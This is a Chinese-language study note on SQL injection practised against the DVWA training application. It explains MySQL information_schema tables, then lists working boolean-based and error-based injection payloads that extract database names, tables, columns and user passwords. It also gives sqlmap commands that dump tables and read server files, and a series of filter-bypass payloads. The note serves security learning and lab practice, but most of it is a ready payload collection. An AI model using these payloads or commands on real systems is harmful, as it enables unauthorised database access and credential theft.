1.information_schema库(简介)
information_schema提供对数据库元数据的访问,有关MySQL服务器信息,例如数据库或表的名称,列的数据类型或访问权限。
information_schema是每个MySQL实例中的数据库,该实例存储有关MySQL服务器维护的所有其他数据库的信息。该 information_schema数据库包含几个只读表。它们实际上是视图,而不是基表,因此没有与它们关联的文件,并且您无法在它们上设置触发器。此外,没有具有该名称的数据库目录。
尽管可以使用USE语句选择INFORMATION_SCHEMA作为缺省数据库,但只能读取表的内容,而不能对它们执行INSERT,UPDATE或DELETE操作。
select…… from information_schema语句旨在提供对MySQL支持的各种SHOW语句(SHOW DATABASES,SHOW TABLES等)提供的信息的访问的更一致的方法。
下面将对几个简单的information_schema库中的几个表进行介绍
1.1 schemata表
schemata表记录了数据库的信息,我们可以看到在schemata表中有6列,下面将对每一列进行介绍
名称 | 作用 |
catalog_name: | 数据库所属目录名称,该值始终为def; |
schema_name | 数据库名称,该属性较为常用,show database;和select schema_name from information_schema.schemata;等价; |
default_character_set_name | 数据库默认字符集 |
default_collation_name | 数据库字符集排序规则 |
sql_path | 此值始终为NULL |
1.2 tables表
tables表记录了数据库中每个表的信息。我们可以看到在tables表中有21列,下面将对每一列进行介绍
名称 | 作用 |
table_catalog | 表所属目录的名称。该值始终为def |
table_schema | 表所属数据库的名称 |
table_name | 表名称,"Use dvwa;Show tables;"等同于“select table_name from information_schema.tables where table_schema='dvwa';" |
table_type | 基本表表示为base table,视图表示为view,information_schema中的视图表示的system view; |
engine | 表的存储引擎。包括InnoDB存储引擎和替代存储引擎(InnoDB存储引擎存在外键约束,替代存储引擎可能没有外键约束)。 对于分区表,ENGINE显示所有分区使用的存储引擎的名称; |
version | 表的.frm文件的版本号。 |
row_format | 行存储格式(Fixed, Dynamic, Compressed, Redundant, Compact)。 对于MyISAM表,Dynamic对应myisamchk -dvv报告为Packed的内容。 使用Antelope文件格式时,InnoDB表格式为Redundant或Compact;使用Barracuda文件格式时,InnoDB表格格式为Compressed或Dynamic。 |
table_rows | 行数。 某些存储引擎(如MyISAM)会存储确切的计数。 对于其他存储引擎,例如InnoDB,此值是近似值,并且可能与实际值相差多达40%至50%。 在这种情况下,使用SELECT COUNT(*)来获得准确的计数。 对于InnoDB表,行计数只是SQL优化中使用的粗略估计。 (如果对InnoDB表进行了分区,也是如此。) |
avg_row_length | 平均行长 |
max_data_length | 对于MyISAM,MAX_DATA_LENGTH是数据文件的最大长度。 这是在给定数据指针大小的情况下可以存储在表中的数据的总字节数。 不适用InnoDB。 |
index_length | 对于MyISAM,INDEX_LENGTH是索引文件的长度,以字节为单位。 对于InnoDB,INDEX_LENGTH是为非聚集索引分配的大致内存量,以字节为单位。 具体来说,它是非聚集索引大小(以页为单位)乘以InnoDB页面大小的总和。 |
data_free | 已分配但未使用的字节数。 |
create_time | 创建日期 |
update_time | 更新日期 |
check_time | 检查时间 |
table_collation | 表的字符集排序方式 |
1.3 columns表
名称 | 作用 |
table_catalog | 包含该列的表所属的目录的名称。 该值始终为def |
table_schema | 包含该列的表所属的数据库的名称 |
table_name | 包含该列的表的名称 |
column_name | 列名称 |
ordinal_position | 表中列的位置。 ordinal_position是必要的,因为你可能想说order by ordinal_position。 与show columns不同,columns表中的select没有自动排序。(输出排序通常按ordinal_position从大到小排序) |
column_default | 列的默认值。 如果列具有显式缺省值NULL,或者列定义不包含DEFAULT子句,则此值为NULL,否则对于该列所有未初始化的值都设为column_default |
is_nullable | 列可空性。 如果NULL值可以存储在列中,则值为YES,否则为NO。 |
data_type | 列数据类型。data_type值只是类型名称,没有其他信息。 column_type值包含类型名称以及可能的其他信息,例如精度或长度。 |
character_maximum_length | 对于字符串列,最大长度(以字符为单位) |
character_octet_length | 对于字符串列,最大长度(以字节为单位) |
numeric_precision | 对于数字列,数字精度。(所容纳最大数的十进制位数) |
numeric_scale | 对于数字列,数字刻度。(小数部分最长长度) |
datetime_precision | 对于时间列,小数秒精度 |
character_set_name | 对于字符串列,字符集名称 |
collation_name | 对于字符串列,排序规则名称 |
column_type | 列数据类型。该DATA_TYPE值只是类型名称,没有其他信息。该COLUMN_TYPE 值包含类型名称以及可能的其他信息,例如精度或长度。 |
column_key | 列是否已编入索引: 如果column_key为空,则列不会被索引,也不会仅作为多列非唯一索引中的辅助列索引。 如果多个column_key值应用于表的给定列,则column_key按PRI,UNI,MUL的顺序显示具有最高优先级的值。 如果UNIQUE索引不包含NULL值并且表中没有PRIMARY KEY,则它可以显示为PRI。 如果多个列形成复合UNIQUE索引,则UNIQUE索引可以显示为MUL; 虽然列的组合是唯一的,但每列还是会有重复值出现。 |
extra | 关于指定列的任何其他可用信息。 在这些情况下,该值是非空的: auto_increment用于具有AUTO_INCREMENT属性的列。 |
privileges | 您对该列的权限 |
column_comment | 列定义中包含的任何注释。 |
generation_expression | 对于生成的列,显示用于计算列值的表达式。 |
对于columns,我们可以使用"use dvwa;desc users;","use dvwa;show columns from users;",select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';进行查询。
2 Boolean Based
2.1 概述:
通过特殊的payload尝试触发sql语句错误
通过构造”恒真“和”恒假“的方式
恒假:1' and 1=2#
,恒真:1‘ or 1=1#
2.2 确定数据库类型
1' and (select char(110)||char(119)||char(119)||char(108) from information_schema.system_users)=char(110)||char(119)||char(119)||char(108) and 'YvUP'='YvUP
1' and (select 'QXmm' from SYSMASTER:SYSDUAL)='QXmm' and 'bwXo'='bwXo1
1' and (select 'adcw' from versions)='adcw' and 'KTCp'='KTCp
1' and (select char(71)+char(86)+char(88)+char(88))=char(71)+char(86)+char(88)+char(88) and 'dJIw'='dJIw
1' and (select char(71)+char(86)+char(88)+char(88))=char(112)+char(75)+char(116)+char(72) and 'FtIK'='FtIK
1' and (select 0x6e714c6c)=0x6e714c6c and 'QdFW'='QdFW
1' and (select 0x6e714c6c)=0x6b726156 and 'yoKp'='yoKp
2.3获取数据库名
1' and ord(mid((select ifnull(cast(count(distinct(schema_name)) as char),0x20)from information_schema.schemata limit 1,1),1,1))>51 and 'vsyk'='vsyk(未成功)
注释:1.从information_schema表中不重复的(distinct)数据库名(schema_name)
2.count 计数
3.cast 将计数得到的数字转换为文本类型
4.ifnull 判断是否为空,如果不为空返回第一个,为空返回第二个
5.mid将返回的字符串取一个字符
6.ord将取出来的字符转换成ascii码
2.4猜测数据库名
1' and ord(mid((select distinct(ifnull(cast(schema_name as char),0x20)) from information_schema.schemata limit 1,1),1,1))>64 and 'OEyf'='OEyf
2.5获取数据库的表个数
1' and ord(mid((select ifnull(cast(count(table_name) as char),0x20) from information_schema.tables where table_schema=0x64767761),1,1))=50 and '1'='1
2.6获取数据库的表名称
1' and ord(mid((select ifnull(cast(table_name as char),0x20) from information_schema.tables where table_schema=0x64767761 limit 1,1),1,1))=117 and '1'='1
2.7 获取数据表的字段的个数
1' and ord(mid((select ifnull(cast(count(column_name) as char),0x20)from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761),1,1))>51 and 'hGwZ'='hGwZ
2.8 获取数据表的字段的名字
1' and ord(mid((select ifnull(cast(column_name as char),0x20) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761 limit 0,1),1,1))=117 and 'uwnz'='uwnz
2.9 获取数据表的字段的类型
1' and ord(mid((select ifnull(cast(column_type as char),0x20) from information_schema.columns where table_name-0x7573657273 and column_name=0x757365725f6964 and table_schema=0x64767761),1,1))=105 and '1'='1
2.10 获取数据表的数据条数
1' and ord(mid((select ifnull(cast(count(*) as char),0x20) from dvwa.users),1,1))>51 and 'ewSW'='ewSW
2.11 获取数据表的数据内容
1' and ord(mid((select ifnull(cast(user as char),0x20) from dvwa.users order by 'user' limit 0,1),1,1))=97 and '1'='1
3 error based
3.1 floor
获得数据库版本:
1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
获得连接用户
1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
连接数据库
1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
暴库
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
暴表
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
暴字段
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x7573657273 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
暴内容
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user_id,0x3a,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
3.2 extractvalue(长度限制为32位):mysql中对xml进行查询的函数
extractvalue(xml_document,xpath_string);
第一个参数:xml_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:xpath_string (Xpath格式的字符串).
1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and '1'='1
3.3 updatexml(长度限制为32位):mysql中对xml进行修改的函数
updatexml(xml_document,xpath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) #
4 sqlmap使用(参数)
4.1 sqlmap 参数解析
4.1.1 目标:必须至少提供其中一个选项来定义目标
参数 | 参数含义或类型 |
-u URL,--url=URL | 目标URL(例如http://www.site.com/vuln.php?id=1") |
-r requestfile | 从文件中加载http请求 |
-g googledork | 将google-dork结果作为目标URL处理。 |
-c configfile | 从配置ini文件加载选项 |
4.1.2 请求:这些选项可用于指定如何连接到目标URL
参数 | 参数含义或类型 |
--method=METHOD | 强制使用给定的HTTP方法 |
--data=DATA | 通过POST发送的数据字符串 |
--cookie=COOKIE | HTTP Cookie的值 |
--user-agent=AGENT | user-agent的值 |
--random-agent | 使用随机选择的HTTP协议User-Agent的值 |
--host=HOST | HTTP协议主机的值 |
--referer=REFERER | HTTP协议REFERER的值 |
--headers=HEADERS | HTTP头部其他部分 |
--proxy=PROXY | 使用代理连接到目标 |
--delay=DELAY | 每个HTTP请求之间的延迟(秒) |
4.1.3 优化:优化sqlmap的性能
参数 | 参数含义或类型 |
--threads=THREADS | 最大并发HTTP请求数 |
4.1.4 注入:这些选项可用于指定要测试的参数,提供自定义注入有效负载和可选的篡改脚本
参数 | 参数含义和类型 |
-p TESTPARAMETER | 可测试参数 |
--dbms=DBMS | 将后端DBMS强制为该值 |
--dbms-cred=DBMS | 注入有效载荷前缀字符串 |
--suffix=SUFFIX | 注入有效载荷后缀字符串 |
--tamper=TAMPER | 使用给定的数据tampering注入脚本 |
4.1.5 检测:这些选项可用于自定义检测阶段
参数 | 参数含义和类型 |
--level=LEVEL | 要执行的测试级别(1-5) |
--risk=RISK | 进行测试的风险 |
4.1.6 技术:这些选项可用于调整特定SQL注入技术的测试
参数 | 参数含义和类型 |
--technique=TECH | 要使用的SQL注入技术(默认为“beustq”) |
--time-sec=TIMESEC | 延迟DBMS响应的秒数 |
4.1.7 枚举
参数 | 参数含义和类型 |
-a,--all | 检索全部 |
-b,--banner | 检索数据库系统banner |
--current-user | 检索数据库系统当前用户 |
--current-db | 检索数据库系统当前数据库 |
--hostname | 服务器主机名 |
--is-dba | 检测DBMS当前用户是否为DBA |
--users | 枚举DBMS用户 |
--passwords | 枚举DBMS用户密码hash |
--privileges | 枚举DBMS用户权限 |
--dbs | 枚举DBMS数据库 |
--tables | 枚举DBMS数据库表 |
--columns | 枚举DBMS数据库表列 |
--count | 检索表的条目数 |
--dump | 转储DBMS数据库表条目 |
--dump-all | 转储所有DBMS数据库表条目 |
-D DB | 要枚举的DBMS数据库 |
-T TBL | 要枚举的DBMS数据库表 |
-C COL | 要枚举的DBMS数据库表列 |
-X EXCLUDE | 不枚举的DBMS数据库标识符 |
-U USER | 要枚举的DBMS用户 |
--sql-shell | 提示输入交互式SQL外壳程序 |
4.1.8 操作系统访问:这些选项可用于访问底层操作系统的后端数据库管理系统。
参数 | 参数含义和类型 |
--os-cmd=OSCMD | 执行操作系统命令 |
--os-shell | 提示输入交互式操作系统外壳程序 |
4.1.9 常规:这些选项可用于设置一些常规工作参数
参数 | 参数含义和类型 |
-s SESSIONFILE | 从存储的(.sqlite)文件加载会话 |
-t TRAFFICFILE | 将所有HTTP通信记录到文本文件中 |
--batch | 从不要求用户输入,使用默认行为 |
--flush-session | 刷新当前目标的会话文件 |
--hex | 使用DBMS十六进制函数进行数据检索 |
4.1.10 杂项
参数 | 参数含义和类型 |
--identify-waf | 对WAF/IPS/IDS保护进行彻底测试 |
--mobile | 通过HTTP用户代理头模拟智能手机 |
--purge-output | 安全地从输出目录中删除所有内容 |
4.2 sqlmap使用(get)
4.2.1 数据库版本,服务器类型
python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=low" --method=GET --level=3
4.2.2 列出当前数据库
D:\Python27\python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=low" --current-db
4.2.3 指定数据库猜表
D:\Python27\python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=low" -D dvwa --tables
4.2.4 猜字段
D:\Python27\python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=low" -D dvwa -T users --columns
4.2.5 猜解字段内容
python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=low" -D dvwa -T users -C "user,password" --dump-all
python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=low" -D dvwa -T users -C "user,password" --dump
4.3 sqlmap使用(post)
4.3.1 数据库版本,服务器类型
D:\Python27\python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=medium" --method=POST --data="id=1&Submit=Submit"
或
python2 sqlmap.py -r D:\2.txt -p id
4.3.2 枚举数据库
D:\Python27\python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=medium" --method=POST --data="id=1&Submit=Submit" --dbs
或
D:\Python27\python2 sqlmap.py -r D:\2.txt -p id --dbs
4.3.3 猜表
D:\Python27\python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=medium" --method=POST --data="id=1&Submit=Submit" -D dvwa --tables
或
python2 sqlmap.py -r D:\2.txt -p id -D dvwa --tables
4.3.4 猜列
D:\Python27\python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=medium" --method=POST --data="id=1&Submit=Submit" -D dvwa -T users --columns
或
D:\Python27\python2 sqlmap.py -r D:\2.txt -p id -D dvwa -T users --columns
4.3.5 猜数据
D:\Python27\python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=medium" --method=POST --data="id=1&Submit=Submit" -D dvwa -T users -C "user,password" --dump
或
D:\Python27\python2 sqlmap.py -r D:\2.txt -p id -D dvwa -T users -C "user,password" --dump
4.4 sqlmap写shell
4.4.1 sqlmap判断当前数据库用户权限
D:\Python27\python2 sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/index.php?id=1&Submit=Submit#" --cookie="PHPSESSID=fjvgflnj9d7hqdvfo5efte5801;security=low" --is-dba
4.4.2 sqlmap进行交互式shell(未成功)
4.5 sqlmap辅助手工注入
D:\Python27\python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=low" --sql-query "select user(),version(),database()"
D:\Python27\python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=low" --sql-query "(select count(*) from dvwa.users)>0"
4.6 服务端文件读取
D:\Python27\python2 sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=fcs64db6f8d2t04m8hn3bf48g4; security=low" --file-read=/var/www/html/php.ini
5 过滤绕过
5.1 and,or被过滤
注入:1 and 1=1;1 or 1=1
绕过:1 && 1=1;1||1=1
5.2 and,or,union被过滤
注入:1 union select user,password from users
绕过:1 || (select user from users where user_id=1)='admin'
5.3 and,or,union,where被过滤
注入:1 || (select user from users where user_id=1)='admin'
绕过:1' || (select user from users limit 1)='admin'
5.4 and,or,union,where,limit被过滤
注入:1 || (select user from users where user_id=1)='admin'
绕过:1 || (select user from users group by user_id having user_id=1)='admin
5.5 and,or,union,where,limit,group by被过滤
注入:1 || (select user from users group by user_id having user_id=1)='admin
绕过:1 || (select substr(group_concat(user_id),1,1) from users)='1'
5.6 and,or,union,where,limit,group by,select被过滤
注入:1 || (select substr(group_concat(user_id),1,1) from users)='1'
绕过:1' || substr(user,1,1)>='0
5.7 and,or,union,where,limit,group by,select,' 被过滤
注入:1 || substr(user,1,1)>='0
绕过:1 || substr(user,1,1)>=unhex(0)
1 || substr(user,1,1)>=0x0
subtr:substr("abc",1,2)从字符串"aaa"第一个字符开始取俩个字符”ab“
5.8 and,or,union,where,limit,group by,select,',hex 被过滤
注入:1 || substr(user,1,1)>=unhex(0)
绕过:1 || substr(user,1,1)>=lower(conv(0,10,36))
注:conv:进制转换,conv(1,10,36)表示将十进制的1转换为三十六进制
5.9 and,or,union,where,limit,group by,select,',hex,substr 被过滤
注入:1 || substr(user,1,1)>=lower(conv(0,10,36))
绕过:1 || lpad(user,9,1)
注:lpad表示在字符串左边添加字符,当第一个字符为大于0的数字字符时在做与或非可视为真。
5.10 and,or,union,where,limit,group by,select,',hex,substr 空格被过滤
注入:1 || lpad(user,9,1)
绕过:1%0b||%0blpad(user,9,1)